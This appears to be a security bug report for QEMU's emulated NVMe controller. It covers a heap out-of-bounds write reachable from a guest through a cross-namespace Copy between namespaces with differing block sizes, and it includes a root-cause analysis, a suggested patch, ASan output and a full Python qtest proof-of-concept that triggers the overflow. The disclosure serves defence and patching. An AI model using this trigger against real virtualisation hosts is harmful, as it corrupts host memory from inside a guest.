A guest can trigger a heap buffer overflow in the NVMe device with an ordinary configuration (`-device nvme` plus two namespaces, no special flags). It reproduces on master (HEAD 81ce3a8, v11.1.50) with the small qtest PoC at the bottom. This is the logical-block-size (`ds`) sibling of the metadata-size (`ms`) case fixed in df67805ee ("hw/nvme: fix cross-namespace copy dif buffer overflow"). That patch sizes the bounce buffer for differing metadata size, but the DIF-generation write offset is still computed from the destination block size, so a differing *data* block size walks past the source-sized buffer. ### Affected master, HEAD 81ce3a8 (v11.1.50). `hw/nvme/ctrl.c`, `hw/nvme/dif.c`. ### How a guest reaches it (no special device flags) - Format namespace 1 to LBA format 0 (512-byte blocks, no PI). - Format namespace 2 to LBA format 5 (4096-byte blocks, 8-byte metadata, PI type 1). `nvme_format_check()` (ctrl.c:7131) validates the lbaf index and `ms >= tuple_size`, but never `ds`, so this is allowed. - Enable Copy source-range format 2 via Set Features / Host Behavior Support (`features.hbs.cdfe`, checked at ctrl.c:3396). - Issue a cross-namespace Copy (opcode 0x19) targeting ns2, format 2, with PRACT set and one source range pointing at ns1. ### Root cause The gate for the "source has no PI, dest has PI" cross-namespace copy checks metadata size and PI format, but not the data-block size: ```c /* ctrl.c:3198 */ static inline bool nvme_copy_corresp_pi_match(NvmeNamespace *sns, NvmeNamespace *dns) { return sns->lbaf.ms == 0 && ((dns->lbaf.ms == 8 && dns->pif == 0) || (dns->lbaf.ms == 16 && dns->pif == 1)); } ``` The same-PI path does check `ds`: ```c /* ctrl.c:3172 */ return sns->lbaf.ds == dns->lbaf.ds && sns->lbaf.ms == dns->lbaf.ms; ``` The bounce buffer is sized from the source geometry (df67805ee added the `MAX(ms)` term and the assert): ```c /* ctrl.c:3356 */ assert(g_size_checked_mul(&blen, le16_to_cpu(sns->id_ns.mssrl), sns->lbasz + MAX(sns->lbaf.ms, dns->lbaf.ms))); iocb->bounce = g_malloc(blen); assert(len <= blen); /* len = nvme_l2b(sns, nlb), source-sized -> passes */ ``` But `nvme_copy_in_completed_cb()` places the DIF write using the destination block size: ```c /* ctrl.c:3074 */ mbounce = iocb->bounce + nvme_l2b(dns, nlb); /* nlb << dns->lbaf.ds */ ... nvme_dif_pract_generate_dif(dns, iocb->bounce, len, mbounce, mlen, apptag, &iocb->reftag); ``` When dest `ds` > source `ds`, `mbounce` is well past the allocation, and `nvme_dif_pract_generate_dif_crc16()` (dif.c:79-89) writes 8-byte DIF tuples starting there. `assert(len <= blen)` does not catch it because `len` uses the source `ds`. ### Impact Silent heap out-of-bounds write in the host process. With nlb=24 the write starts at `bounce + 24*4096 = bounce+98304`, ~31 KB past the 66560-byte buffer; nlb is guest-tunable up to `mssrl` (128), so the offset ranges from a few KB to ~250 KB. The written content is a per-block DIF tuple: a 16-bit apptag (guest-controlled), a 32-bit reftag (guest-seeded), and a 16-bit CRC of the source data. The non-PRACT branch (`nvme_dif_check`, ctrl.c:3088) is an out-of-bounds read at the same offset. ### Suggested fix Require matching `ds` in the corresponding-PI path (mirrors the same-PI check). A cross-`ds` PI-generation copy isn't meaningful anyway, since the per-block data sizes differ: ```diff static inline bool nvme_copy_corresp_pi_match(NvmeNamespace *sns, NvmeNamespace *dns) { - return sns->lbaf.ms == 0 && + return sns->lbaf.ds == dns->lbaf.ds && sns->lbaf.ms == 0 && ((dns->lbaf.ms == 8 && dns->pif == 0) || (dns->lbaf.ms == 16 && dns->pif == 1)); } ``` I'm glad to send this as a merge request if that's useful. ### ASan output ``` ==ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 2 #0 nvme_dif_pract_generate_dif_crc16 hw/nvme/dif.c:87 #1 nvme_dif_pract_generate_dif hw/nvme/dif.c:143 #2 nvme_copy_in_completed_cb hw/nvme/ctrl.c:3085 #3 nvme_copy_in_cb hw/nvme/ctrl.c:3164 #4 blk_aio_complete block/block-backend.c:1586 ``` ### Reproducer Build: `./configure --target-list=x86_64-softmmu --enable-asan --enable-debug && ninja -C build qemu-system-x86_64` The script drives the controller over the qtest protocol (no guest OS): it programs BAR0, initialises the controller, then over the admin queue does Set Features (cdfe) -> Format ns1 (512B) -> Format ns2 (4096B/PI) -> create IO CQ/SQ -> cross-ns Copy(format 2, PRACT). Point `QEMU` at your ASan build. <details><summary>poc_nvme_copy.py</summary> ```python #!/usr/bin/env python3 # QEMU hw/nvme cross-namespace COPY heap OOB write via source/dest ds mismatch. # Drives the NVMe controller over the qtest protocol (no guest OS). import socket, struct, subprocess, os, binascii QEMU = "/path/to/build/qemu-system-x86_64" # an --enable-asan build IMG1, IMG2, SOCK = "/tmp/nvme_ns1.img", "/tmp/nvme_ns2.img", "/tmp/qtest_nvme.sock" ASQ, ACQ, IOSQ, IOCQ, FEAT, RANGE = 0x6000000, 0x6010000, 0x6020000, 0x6030000, 0x6040000, 0x6050000 BAR0 = 0xFE000000 def db(qid, cq): return 0x1000 + (2*qid + (1 if cq else 0)) * 4 class QT: def __init__(self, s): self.s = s; self.buf = b"" def cmd(self, line): self.s.sendall((line+"\n").encode()) while b"\n" not in self.buf: c = self.s.recv(65536) if not c: raise EOFError("qtest socket closed (QEMU crashed)") self.buf += c r, self.buf = self.buf.split(b"\n", 1); r = r.decode().strip() if not r.startswith("OK"): raise RuntimeError("qtest FAIL: "+r) return r def writel(self,a,v): self.cmd(f"writel 0x{a:x} 0x{v:x}") def writeq(self,a,v): self.cmd(f"writeq 0x{a:x} 0x{v:x}") def readl(self,a): return int(self.cmd(f"readl 0x{a:x}").split()[1],16) def readq(self,a): return int(self.cmd(f"readq 0x{a:x}").split()[1],16) def outl(self,a,v): self.cmd(f"outl 0x{a:x} 0x{v:x}") def inl(self,a): return int(self.cmd(f"inl 0x{a:x}").split()[1],16) def write(self,a,d): self.cmd(f"write 0x{a:x} 0x{len(d):x} 0x{binascii.hexlify(d).decode()}") def memset(self,a,n,v): self.cmd(f"memset 0x{a:x} 0x{n:x} 0x{v:x}") def clock_step(self): self.cmd("clock_step") def cfg(dev, off): return 0x80000000 | (dev << 11) | (off & 0xfc) def main(): for img in (IMG1, IMG2): with open(img, "wb") as f: f.truncate(4*1024*1024) if os.path.exists(SOCK): os.unlink(SOCK) srv = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); srv.bind(SOCK); srv.listen(1) args = [QEMU, "-machine","pc,accel=qtest","-display","none","-nodefaults","-m","256", "-drive",f"id=d0,file={IMG1},if=none,format=raw","-drive",f"id=d1,file={IMG2},if=none,format=raw", "-device","nvme,serial=deadbeef,id=nvme0,mdts=8", "-device","nvme-ns,drive=d0,bus=nvme0,nsid=1","-device","nvme-ns,drive=d1,bus=nvme0,nsid=2", "-qtest",f"unix:{SOCK}"] proc = subprocess.Popen(args, stderr=subprocess.PIPE, env=dict(os.environ, ASAN_OPTIONS="abort_on_error=1:detect_leaks=0")) conn,_ = srv.accept(); q = QT(conn) try: dev = next(d for d in range(1,32) if (q.outl(0xcf8,cfg(d,0)) or q.inl(0xcfc))==0x00101b36) q.outl(0xcf8,cfg(dev,0x10)); q.outl(0xcfc,BAR0) q.outl(0xcf8,cfg(dev,0x14)); q.outl(0xcfc,0) q.outl(0xcf8,cfg(dev,0x04)); q.outl(0xcfc,0x06) for b in (ASQ,ACQ,IOSQ,IOCQ,FEAT,RANGE): q.memset(b,0x1000,0) q.writel(BAR0+0x24,(15<<16)|15); q.writeq(BAR0+0x28,ASQ); q.writeq(BAR0+0x30,ACQ) q.writel(BAR0+0x14,(4<<20)|(6<<16)|1) for _ in range(100): if q.readl(BAR0+0x1c)&1: break q.clock_step() tail=[0]; head=[0]; phase=[1] def admin(sqe): q.write(ASQ+tail[0]*64, sqe); tail[0]=(tail[0]+1)%16; q.writel(BAR0+db(0,False),tail[0]) for _ in range(200): cqe=bytes.fromhex(q.cmd(f"read 0x{ACQ+head[0]*16:x} 0x10").split()[1][2:]) st=struct.unpack_from("<H",cqe,14)[0] if (st&1)==phase[0]: head[0]+=1 if head[0]==16: head[0]=0; phase[0]^=1 q.writel(BAR0+db(0,True),head[0]); return (st>>1)&0x7ff q.clock_step() raise RuntimeError("admin timeout") def sqe(op,nsid=0,cid=0,prp1=0,cdw10=0,cdw11=0): b=bytearray(64); b[0]=op; struct.pack_into("<H",b,2,cid); struct.pack_into("<I",b,4,nsid) struct.pack_into("<Q",b,24,prp1); struct.pack_into("<II",b,40,cdw10,cdw11); return bytes(b) feat=bytearray(512); struct.pack_into("<H",feat,4,0x0004); q.write(FEAT,bytes(feat)) admin(sqe(0x09,cid=1,prp1=FEAT,cdw10=0x16)) # Set Features: Host Behavior (cdfe bit2) admin(sqe(0x80,nsid=1,cid=2,cdw10=0)) # Format ns1 -> lbaf0 (512B, no PI) admin(sqe(0x80,nsid=2,cid=3,cdw10=(5)|(1<<5))) # Format ns2 -> lbaf5 (4096B/ms8), PI type1 admin(sqe(0x05,cid=4,prp1=IOCQ,cdw10=(15<<16)|1,cdw11=1)) # create IO CQ admin(sqe(0x01,cid=5,prp1=IOSQ,cdw10=(15<<16)|1,cdw11=(1<<16)|1)) # create IO SQ NLB=24 rng=bytearray(32); struct.pack_into("<I",rng,0,1); struct.pack_into("<H",rng,16,NLB-1); q.write(RANGE,bytes(rng)) copy=bytearray(64); copy[0]=0x19; struct.pack_into("<H",copy,2,6); struct.pack_into("<I",copy,4,2) struct.pack_into("<Q",copy,24,RANGE); copy[49]=0x02; copy[51]=0x20 # format2 ; prinfow PRACT q.write(IOSQ,bytes(copy)); q.writel(BAR0+db(1,False),1) for _ in range(400): q.clock_step() st=struct.unpack_from("<H",bytes.fromhex(q.cmd(f"read 0x{IOCQ:x} 0x10").split()[1][2:]),14)[0] if st&1: print("copy completed, no crash"); break except EOFError: print("QEMU died mid-command (ASan abort)") finally: try: proc.wait(timeout=5) except Exception: proc.kill() err=proc.stderr.read().decode(errors="replace") print("\n".join(l for l in err.splitlines() if "Sanitizer" in l or "#" in l or "SUMMARY" in l)) main() ``` </details>